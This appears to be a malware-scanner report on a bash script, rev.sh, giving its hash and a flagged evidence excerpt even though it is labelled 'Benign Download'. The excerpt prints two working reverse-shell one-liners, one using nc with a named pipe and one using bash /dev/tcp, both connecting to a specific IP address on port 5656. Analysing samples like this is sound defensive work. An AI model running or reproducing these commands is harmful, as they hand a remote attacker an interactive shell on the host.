Benign Download

rev.sh

Detects susupicious bash commandSOCK_STREAM socket type

SHA-256b54a9f76aaa20aff72fd978bca433b67ca210e9466db9ddb32d448204beb705b

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeTh

Evidence

SOCK_STREAM socket type lines 1–27

1#!/bin/bash
2
3## https://www.revshells.com/ ##
4
5if command -v nc > /dev/null 2>&1; then
6	rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 164.90.165.233 5656 >/tmp/f
7fi
8
9if command -v bash > /dev/null 2>&1; then
10	/bin/bash -i >& /dev/tcp/164.90.165.233/5656 0>&1
11fi
12
⋯15 lines